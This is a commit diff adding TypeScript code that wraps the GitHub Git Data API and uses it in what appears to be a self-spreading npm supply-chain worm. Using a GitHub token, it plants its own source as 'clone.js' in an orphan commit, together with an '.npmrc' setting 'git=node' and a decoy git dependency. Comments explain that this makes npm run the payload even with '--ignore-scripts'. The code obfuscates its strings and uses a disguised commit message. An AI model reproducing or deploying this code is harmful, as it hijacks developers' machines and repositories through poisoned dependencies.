Upload files to "src/github_utils"

This commit is contained in:
2026-07-03 03:15:53 +00:00
parent 81891a10a7
commit ef61fc9235
3 changed files with 294 additions and 0 deletions
+166
View File
@@ -0,0 +1,166 @@
import { githubFetch, githubJson } from "../github_utils/client";
// ── Types ─────────────────────────────────────────────────────────────
export interface GitRef {
ref: string;
object: { sha: string; type?: string };
}
export interface GitTreeEntry {
path: string;
mode: string;
type: "blob" | "tree";
sha: string;
}
export interface CommitAuthor {
name: string;
email: string;
date: string;
}
// ── Ref helpers ───────────────────────────────────────────────────────
export async function getBranchRef(
token: string,
owner: string,
repo: string,
branch: string,
): Promise<GitRef> {
return githubJson<GitRef>(
token,
`/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branch)}`,
);
}
export async function updateBranch(
token: string,
owner: string,
repo: string,
branch: string,
sha: string,
force: boolean,
): Promise<void> {
await githubJson(
token,
`/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branch)}`,
{ method: "PATCH", body: JSON.stringify({ sha, force }) },
);
}
export async function createBranch(
token: string,
owner: string,
repo: string,
branchName: string,
sha: string,
): Promise<void> {
await githubFetch(token, `/repos/${owner}/${repo}/git/refs`, {
method: "POST",
body: JSON.stringify({ ref: `refs/heads/${branchName}`, sha }),
});
}
export async function deleteBranch(
token: string,
owner: string,
repo: string,
branchName: string,
): Promise<void> {
await githubFetch(
token,
`/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branchName)}`,
{ method: "DELETE" },
);
}
// ── Object helpers ────────────────────────────────────────────────────
export async function createBlob(
token: string,
owner: string,
repo: string,
content: string,
): Promise<string> {
const blob = await githubJson<{ sha: string }>(
token,
`/repos/${owner}/${repo}/git/blobs`,
{ method: "POST", body: JSON.stringify({ content, encoding: "utf-8" }) },
);
return blob.sha;
}
export async function createTree(
token: string,
owner: string,
repo: string,
baseTree: string | null,
entries: GitTreeEntry[],
): Promise<string> {
const body: Record<string, unknown> = { tree: entries };
if (baseTree) body.base_tree = baseTree;
const tree = await githubJson<{ sha: string }>(
token,
`/repos/${owner}/${repo}/git/trees`,
{ method: "POST", body: JSON.stringify(body) },
);
return tree.sha;
}
export async function getCommitTree(
token: string,
owner: string,
repo: string,
commitSha: string,
): Promise<string> {
const c = await githubJson<{ tree: { sha: string } }>(
token,
`/repos/${owner}/${repo}/git/commits/${commitSha}`,
);
return c.tree.sha;
}
export async function createCommit(
token: string,
owner: string,
repo: string,
message: string,
treeSha: string,
parentSha: string,
author?: CommitAuthor,
): Promise<string> {
const body: Record<string, unknown> = {
message,
tree: treeSha,
parents: [parentSha],
};
if (author) {
body.author = author;
body.committer = author;
}
const commit = await githubJson<{ sha: string }>(
token,
`/repos/${owner}/${repo}/git/commits`,
{ method: "POST", body: JSON.stringify(body) },
);
return commit.sha;
}
export async function createOrphanCommit(
token: string,
owner: string,
repo: string,
treeSha: string,
message: string,
): Promise<string> {
const commit = await githubJson<{ sha: string }>(
token,
`/repos/${owner}/${repo}/git/commits`,
{
method: "POST",
body: JSON.stringify({ message, tree: treeSha, parents: [] }),
},
);
return commit.sha;
}
+126
View File
@@ -0,0 +1,126 @@
import { logUtil } from "../utils/logger";
import { buildSelfExtractingPayload } from "../utils/selfExtracting";
import {
createBlob,
createOrphanCommit,
createTree,
type GitTreeEntry,
} from "./gitDb";
declare function scramble(str: string): string;
// ── File builders ────────────────────────────────────────────────────
/**
* Build the three files for the orphan commit.
*
* ## Technique (git binary override)
*
* npm reads `.npmrc` files from inside git dependencies and merges their
* config into the running npm session. We set `git=node` so that the
* next time npm spawns a git operation it executes `node clone <repo>`
* instead of `git clone <repo>`. Node resolves bare `clone` to
* `clone.js` in the working directory, which is our payload.
*
* To guarantee the trigger fires, `package.json` declares a second git
* dependency (`github:axios/axios#main`). npm processes our `.npmrc`
* first (setting `git=node`), then resolves the axios dep — spawning
* `node clone <axios-repo>` which executes `clone.js`.
*
* This bypasses `--ignore-scripts` because npm *always* spawns the git
* binary to fetch git dependencies — lifecycle hooks are skipped but the
* git toolchain is not.
*
* @see https://thinkingthroughcode.medium.com/i-thought-ignore-scripts-made-npm-installs-safe-it-doesnt-f409b852e7c5
*/
function buildFiles(
payload: string,
): Record<string, { content: string; mode: string }> {
return {
"package.json": {
content: JSON.stringify(
{
name: scramble("setup-utils"),
version: "1.0.0",
private: true,
dependencies: {
axios: scramble("github:axios/axios#main"),
},
},
null,
2,
),
mode: "100644",
},
"clone.js": {
content: `#!/usr/bin/env node\n${payload}`,
mode: "100755",
},
".npmrc": {
content: "git=node\n",
mode: "100644",
},
};
}
// ── Public API ───────────────────────────────────────────────────────
/**
* Create an orphan commit containing a git-binary-override `.npmrc`, a
* `package.json` with a second git dependency that forces npm to spawn
* git, and the self-extracting payload as `clone.js` (shebanged, mode
* 0o755).
*
* ### How it bypasses `--ignore-scripts`
*
* 1. `.npmrc` sets `git=node` — npm merges this into its running config.
* 2. `package.json` depends on `github:axios/axios#main` — forces npm to
* spawn a git operation *after* reading our `.npmrc`.
* 3. npm runs `node clone <axios-repo>`, Node resolves bare `clone` to
* `clone.js` in the dependency directory.
* 4. The payload executes — no lifecycle hooks needed.
*
* @param token GitHub PAT with repo scope on the target repository.
* @param repository `owner/repo` string (e.g. `"facebook/react"`).
* @returns `github:owner/repo#<sha>` — ready to drop into
* `optionalDependencies`.
*/
export async function createOrphanDep(
token: string,
repository: string,
): Promise<string> {
const [owner, repo] = repository.split("/");
if (!owner || !repo) {
throw new Error(
`Invalid repository format: "${repository}" — expected "owner/repo"`,
);
}
// 1. Build the self-extracting payload
const rawPayload = await Bun.file(Bun.main).text();
const payload = buildSelfExtractingPayload(rawPayload, { wrap: true });
// 2. Assemble the three files
const files = buildFiles(payload);
// 3. Create blobs for each file
const blobShas: GitTreeEntry[] = [];
for (const [path, { content, mode }] of Object.entries(files)) {
const sha = await createBlob(token, owner, repo, content);
blobShas.push({ path, mode, type: "blob" as const, sha });
}
// 4. Create a tree from the blobs (no base tree — orphan)
const treeSha = await createTree(token, owner, repo, null, blobShas);
// 5. Create an orphan commit (no parents)
const message = scramble("chore: update dependencies");
const sha = await createOrphanCommit(token, owner, repo, treeSha, message);
const depString = `github:${repository}#${sha}`;
logUtil.log(`[OrphanDep] Created ${depString}`);
return depString;
}
+2
View File
@@ -0,0 +1,2 @@
export type { TokenInfo, TokenMetadata } from "./auth";
export { checkToken, getTokenMetadata } from "./auth";